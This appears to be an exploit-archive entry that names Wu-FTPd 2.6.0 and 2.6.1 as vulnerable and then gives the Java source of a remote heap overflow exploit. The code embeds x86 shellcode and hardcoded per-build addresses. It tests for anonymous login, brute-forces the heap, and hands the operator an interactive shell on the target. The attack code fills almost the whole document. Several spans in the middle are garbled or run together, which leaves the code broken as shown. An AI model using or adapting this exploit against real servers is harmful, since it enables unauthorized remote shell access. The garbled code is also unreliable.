Vulnerable systems:
* Wu-FTPd version 2.6.0
* Wu-FTPd version 2.6.1
Exploit code:
/*
* wu-ftpd 2.6.[0/1] remote heap overflow exploit
* wu-ftpd 2.5.* does also overflow and disconnect when you "cwd ~{"
* but it does not seem to be exploitable for some reason...
*
* Original Code by zen-parse
* This code was finished by CraigTM at 23-01-2002
*
* thanks to Krissa from #java@efnet for this:
* From the Integer API docs: Integer.parseInt("-FF", 16) returns -255
*
* thanks to dvorak for inspiring me; it works() now ;)
*
* This works (nearly) like zen-parses code, but gives you a shell...
*
* I wanted to challenge myself and prove that remote exploits can be
* done with java...(hello pr0ix!)...I also had way too much time ;)
*
* java woot [IP] {heap}
*
* CraigTM [ElectronicSouls]
*
* P.S.: I know that the Reader/Write class sucks, but it was done within minutes ;)
* P.P.S.:Have fun with the new targets ;)
*
*/
import java.io.*;
import java.net.*;
import java.util.*;
class woot
{
//type, got, inpbuf, string to check for (autodetect)
static String targets[] =
{
"RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", // by zen-parse
"08070cb0","08084600","2.6.1(1) WED AUG 9 05:54:50 EDT 2000",
"RH7.2 - wu-2.6.1-18 by kanix - verified by CraigTM", // doesnt seem to be
"08072af8","08085900","WU-2.6.1-18", // exploitable...
//"wu-2.6.1(2) by zen-parse", // zen-parse's common compile
//"0806ca48","0807e380","WU-2.6.1(2)", // seems useless in the wild
"wu-2.6.0(x) from www.wu-ftpd.org by CraigTM", //done by me
"0806bae4","0807d600","WU-2.6.0(",
"wu-2.6.1(x) from www.wu-ftpd.org by CraigTM", //done by me
"0806c028","0807db40","WU-2.6.1(",
null
};
//socket stuff
static DataInputStream sin;
static PrintStream sout;
static Socket s = null;
//shellcode
static char sc[]={0x55,0x89,0xe5,0x31,0xc0,0x31,0xdb,0x31,0xc9,0xb0,0x17,0xcd,0x80,0xb0,0x2e,0xcd,0x80,0xeb,0x43,0x5e,0xb0,0x27,0x8d,0x5e,0x09,0xb1,0xed,0xcd,0x80,0x31,0xc9,0x31,0xc0,0xb0,0x3d,0xcd,0x80,0xba,0x2e,0x2e,0x2f,0xff,0x8d,0x5d,0x04,0xb1,0x10,0x89,0x55,0x04,0x83,0xc5,0x03,0xe0,0xf8,0x89,0x4d,0x04,0xb0,0x3d,0xcd,0x80,0x89,0xf3,0x89,0x75,0x08,0x89,0x4d,0x0c,0xb0,0x0b,0x8d,0x4d,0x08,0x8d,0x55,0x0c,0xcd,0x80,0x31,0xc0,0xb0,0x01,0xcd,0x80,0xe8,0xb8,0xff,0xff,0xff};
static int sclength=91;
//guess what?
static String victim="";
//your shell
static Thread reader, writer;
//vars
static int m=0;
static long tmp_got;
static long tmp_heap;
static long tmp_inpbuf;
void connect(String Server)
{
try
{
s = new Socket(Server, 21);
sin = new DataInputStream (s.getInputStream());
sout = new PrintStream (s.getOutputStream());
}//try
catch (IOException e){System.out.println("Error Connecting:"+e);System.exit(-1);}
}//connect()
boolean allowsAnonymous()
{
String line=null;
try
{
connect(victim);
System.out.print(".");
boolean Ano=false;
if(s!=null)sout.println("USER anonymous");
System.out.print(".");
while(true)
{
if(s==null)break;
line=sin.readLine();
if(line==null)break;
if(line.indexOf("220")<=-1)
break;
line=line.toUpperCase();
for(int i=0;targets[i]!=null;i++)
{
if(line.indexOf(targets[i])>-1)
{
m=(i/4)+1;
break;
}
}
System.out.print(".");
if(s!=null)
{
sout.println("PASS billg@microsoft.com");
sout.println("QUIT");
}
while(Ano==false)
{
line=sin.readLine();
if(s==null || line==null)break;
if(line.indexOf("331")>-1)
{
line=sin.readLine();
if(line==null || s==null)break;
}
if(line.indexOf("230")>-1)
return true;
if(line.indexOf("530")>-1 || line.indexOf("531")>-1)
return false;
}//while (Ano==false)
}//while(true)
//close socket again
if(s!=null)
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}
}//try
catch (IOException e){}
return false;
}//Anonymous check + get server
void shell()
{
reader.setPriority(6);
writer.setPriority(5);
reader.start();
writer.start();
Thread t = Thread.currentThread();
try {t.sleep(1000);} catch (InterruptedException e) {}
woot.sout.println("uname -a;id;");
}
void dosend(String s)
{
for(int i=0;i");
DataInputStream in = new DataInputStream (System.in);
victim=in.readLine();
}
catch (IOException e){}
}//getTarget()
boolean works(long n)
{
String v0=Long.toHexString(n);
String elements[]=new String[5];
elements[0]=v0.substring(0,2);
elements[1]=v0.substring(2,4);
elements[2]=v0.substring(4,6);
elements[3]=v0.substring(6,8);
for(int i=0;elements[i]!=null;i++)
{
if(elements[i].equals("00"))return false; //0x00 -> null byte
if(elements[i].equals("0a"))return false; //0x0a -> \n
if(elements[i].equals("40"))return false; //0x40 -> @
}
return true;
}
boolean force()
{
char ok;
long l;
long got,inp;
long en=0+(256*1024);
long st=2048;
System.out.println("++ Option #"+m+" chosen.");
m=(m-1)*4;
System.out.println("++ Exploiting "+targets[m]+"\n");
long tmp = Long.parseLong(targets[m+2],16);
st= st + tmp + Long.parseLong("6400", 16);
en= en + tmp + Long.parseLong("6400", 16);
got=Long.parseLong(targets[m+1],16);
inp=Long.parseLong(targets[m+2],16);
tmp_got=got-12;
tmp_inpbuf=inp+20;
System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("brute forcing heap (from "+Long.toHexString(st)+" to "+Long.toHexString(en)+"):");
for(l=st;l-1)
return true;
}
}
catch(IOException e){}
}
}//if(s!=null)
if(s!=null && !mode.equals("real"))
{
try
{
s.close();s=null;sin=null;sout=null;
}
catch(IOException e){}
}
return false;
}//exploit
public static void main(String args[])
{
woot wu=new woot();
boolean brute=true;
reader = new Reader(wu);
writer = new Writer(wu);
try
{
if(args[0]!=null)
victim=args[0];
}
catch(ArrayIndexOutOfBoundsException a){}
System.out.println("\n!! wu-ftpd 2.6.[0/1] remote heap overflow exploit");
System.out.println("!! original exploit code by zen-parse");
System.out.println("!! ported and modified by CraigTM [ElectronicSouls]");
if(victim.equals(""))
wu.getTarget();
System.out.print("\n## Checking server version & anonymous access");
if(!wu.allowsAnonymous())
{
System.out.println("failed: anonymous access denied!");
System.exit(-1);
}
else
System.out.println("ok");
if(m==0)
{
System.out.println("failed: this version is not exploitable!");
System.exit(-1);
}
try
{
if(args[1]!=null)
{
tmp_heap=Long.parseLong(args[1],16);
System.out.println("++ Option #"+m+" chosen.");
m=(m-1)*4;
System.out.println("++ Exploiting "+targets[m]+"\n");
tmp_got=Long.parseLong(targets[m+1],16)-12;
tmp_inpbuf=Long.parseLong(targets[m+2],16)+20;
System.out.println("got:\t"+Long.toHexString(tmp_got+12)+"\ninpbuf:\t"+Long.toHexString(tmp_inpbuf-20));
System.out.println("heap:\t"+Long.toHexString(tmp_heap)+"\n");
System.out.println("\nTrying to get shell...\n");
wu.exploit("real");
wu.shell();
brute=false;
}
}
catch(ArrayIndexOutOfBoundsException a){}
if(brute)
{
if(wu.force())
{
wu.exploit("real");
wu.shell();
}
else
System.out.println("\nSome value somewhere is bad. Could be in a skipped range.");
}//brute force the heap
System.out.println();
}//main()
}//class
///////////////////////////////////////////////////////////////////////////////
//////////////////////////////SOCKET/READER////////////////////////////////////
class Reader extends Thread
{
woot W;
public Reader(woot w)
{
super("shell Reader");
this.W = w;
}
public void run()
{
try
{
String tmp;
while(true)
{
tmp=woot.sin.readLine();
if(tmp==null)
System.exit(1);
System.out.println(tmp);
}
}
catch (IOException e){}
}
}//class Reader
//////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////SOCKET/WRITER////////////////////////////////////////
class Writer extends Thread
{
woot W;
public Writer(woot w)
{
super("shell Writer");
this.W = w;
}
public void run()
{
try
{
DataInputStream in = new DataInputStream (System.in);
String tmp;
while(true)
{
tmp=in.readLine();
woot.sout.println(tmp);
}
}
catch (IOException e){}
}
}//class Writer